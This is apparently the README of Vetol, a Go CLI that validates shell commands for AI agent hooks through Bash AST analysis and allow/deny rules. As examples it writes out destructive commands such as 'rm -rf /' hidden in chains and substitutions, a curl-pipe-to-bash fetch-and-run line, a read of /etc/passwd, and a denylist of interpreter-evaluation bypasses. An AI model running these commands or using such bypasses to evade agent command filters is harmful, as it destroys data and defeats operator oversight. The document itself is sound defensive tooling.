A CLI tool that validates shell commands using Bash AST analysis, designed for AI agent hooks and other security-sensitive execution environments.
Regex-based and prefix-based command validation is insufficient because shell syntax can easily be used to bypass such checks.
Problems with pattern-based validation:
- Command chaining:
ls && rm -rf /- Bypasses simple "rm" prefix checks - Command substitution:
echo $(rm -rf /)- Hides forbidden commands inside variable expansion - Pipelines and subshells: Complex nesting can conceal forbidden operations
- Combined short flags:
git push -u -forgit push -uf- Bypasses restrictive option validation (e.g., preventinggit push -f)
These issues are particularly relevant in AI agent hooks and other automated execution environments where shell commands are filtered before execution.
Vetol addresses these problems using two complementary techniques:
- AST-based command validation
Vetol parses the Bash Abstract Syntax Tree (AST) and validates every command node it encounters. This allows it to detect commands that appear inside:
- Command chains (
&&,||,;) - Pipelines (
|) - Command substitutions (
$(), backticks) - Subshells and other nested shell constructs
- Argument-aware include/exclude matching
Vetol supports allowlist and denylist rules with dedicated matching for command arguments and flags. Short flags are normalized during matching, so a pattern such as -f matches all of the following:
-f-u -f-uf
Long options and non-flag arguments are also supported.
Together, these mechanisms help prevent many common bypass techniques that are difficult to handle reliably with regular expressions alone.
go install github.com/tf63/vetol/cmd/vetol@latestVetol only validates the provided command string and never executes it.
$ vetol --config vetol.json "ls -la /tmp"
ALLOW
$ echo $?
0
$ vetol --config vetol.json "rm -rf /"
DENY
$ echo $?
1Rules are specified via a JSON configuration file:
vetol --config vetol.json "docker compose exec app rm -rf /"Configuration file format:
{
"mode": "allowlist",
"rules": [
{
"command": "ls",
"include": ["-la"],
"exclude": []
},
{
"command": "grep",
"include": ["-r"],
"exclude": []
},
{
"command": "docker compose"
}
]
}- command (required): Command name or command prefix to match.
- include (optional): Additional patterns that must be present for the rule to match.
- exclude (optional): Patterns that prevent the rule from matching, even if all include conditions are satisfied.
- Short flags (
-r,-la): All characters must be present - Long flags (
--color,--color=auto): Exact or prefix match with= - Non-flag patterns: Exact match required
--config <PATH>: Path to JSON configuration file (REQUIRED)<COMMAND_STRING>: The bash command string to validate (positional argument)
-
AST-based parsing: Detects commands hidden in nested shell constructs
-
Allowlist/Denylist modes: Flexible security rule configuration
-
Command prefix matching: Single and multi-word command matching (e.g.,
docker compose) -
Include/Exclude constraints: Fine-grained control with flag and pattern matching
-
Short flag matching: Character containment (e.g.,
-lamatches-l -a) -
Long flag matching: Prefix matching with values (e.g.,
--colormatches--color=auto) -
Non-flag pattern matching: Exact match
-
Complex syntax support: Handles pipes, substitutions, chains, redirects, and subshells
-
JSON configuration: Load rules from configuration files
Vetol validates command structure through Bash AST analysis.
-
Commands in string arguments: Commands hidden as string arguments are not detected
- Example:
bash -c "rm -rf /"- Therm -rf /inside the string argument is not detected - Other affected:
eval "dangerous command",python -c "...",node -e "..."
- Example:
-
Semantic analysis of arguments: Only structure is validated, not argument content
- Example:
curl https://malicious.site/script.sh | bash- The script content is not analyzed
- Example:
-
Behavior inside allowed binaries: Malicious behavior within allowed commands cannot be detected
- Example: An allowed binary could be trojanized or contain backdoors
-
Execution and sandboxing: Vetol only validates structure, it does not:
- Execute commands
- Provide isolation or sandboxing
- Prevent system-level attacks
To address the string argument limitation, use denylist mode to block dangerous interpreter calls:
{
"mode": "denylist",
"rules": [
{ "command": "bash", "include": ["-c"] },
{ "command": "sh", "include": ["-c"] },
{ "command": "eval" },
{ "command": "source" },
{ "command": "python", "include": ["-c"] },
{ "command": "node", "include": ["-e"] },
{ "command": "ruby", "include": ["-e"] },
{ "command": "perl", "include": ["-e"] }
]
}This mitigates some of the most common techniques used to execute commands through string evaluation. However, it does not eliminate all possible execution paths.
Allow only ls, cat, and echo.
{
"mode": "allowlist",
"rules": [{ "command": "ls" }, { "command": "cat" }, { "command": "echo" }]
}vetol --config vetol.json "cat /etc/passwd"
# Output: ALLOW
vetol --config vetol.json "cat /etc/passwd && rm file.txt"
# Output: DENYRequire specific flags for allowed commands.
{
"mode": "allowlist",
"rules": [
{
"command": "ls",
"include": ["-la"]
},
{
"command": "grep",
"include": ["-r"]
}
]
}vetol --config vetol.json "ls -la /tmp"
# Output: ALLOW
vetol --config vetol.json "ls -l /tmp"
# Output: DENY
vetol --config vetol.json "grep -r pattern /tmp"
# Output: ALLOWBlock dangerous commands regardless of where they appear.
{
"mode": "denylist",
"rules": [{ "command": "rm" }, { "command": "dd" }, { "command": "docker compose exec app rm" }]
}vetol --config vetol.json "cat README.md"
# Output: ALLOW
vetol --config vetol.json "rm -rf /"
# Output: DENY
vetol --config vetol.json "docker compose exec app rm -rf /"
# Output: DENYDeny rm unless the interactive flag (-i) is present.
{
"mode": "denylist",
"rules": [
{
"command": "rm",
"exclude": ["-i"]
}
]
}vetol --config vetol.json "rm file.txt"
# Output: DENY
vetol --config vetol.json "rm -i file.txt"
# Output: ALLOWRules can match command prefixes consisting of multiple tokens.
{
"mode": "denylist",
"rules": [
{
"command": "docker compose exec app rm"
},
{
"command": "docker run"
}
]
}vetol --config vetol.json "docker ps"
# Output: ALLOW
vetol --config vetol.json "docker compose exec app rm -rf /"
# Output: DENY
vetol --config vetol.json "docker run -it ubuntu"
# Output: DENYExample 6: Detecting Commands Hidden in Shell Syntax
Vetol traverses the Bash AST and validates every command node, including commands hidden in nested shell constructs.
# Command substitution
vetol --config vetol.json 'echo $(rm -rf /)'
# Output: DENY
# Command chaining
vetol --config vetol.json "ls && rm -rf /"
# Output: DENY
# Pipelines
vetol --config vetol.json "pwd | grep test | rm"
# Output: DENY
# Subshell
vetol --config vetol.json "(rm -rf /)"
# Output: DENYInclude and exclude matching works even when short flags are combined.
{
"mode": "denylist",
"rules": [
{
"command": "git push",
"include": ["-f"]
}
]
}vetol --config vetol.json "git push -f origin main"
# Output: DENY
vetol --config vetol.json "git push -u -f origin main"
# Output: DENY
vetol --config vetol.json "git push -uf origin main"
# Output: DENY- mvdan.cc/sh/v3/syntax: Bash command parser and AST builder
- Go 1.26 standard library
For development setup, testing, architecture details, and contribution guidelines, see CONTRIBUTING.md.
MIT
Vetol is a command validation tool, not a sandbox.
Passing validation does not guarantee that a command is safe to execute. Vetol should be used as one layer in a defense-in-depth security model alongside sandboxing, privilege separation, auditing, and runtime controls.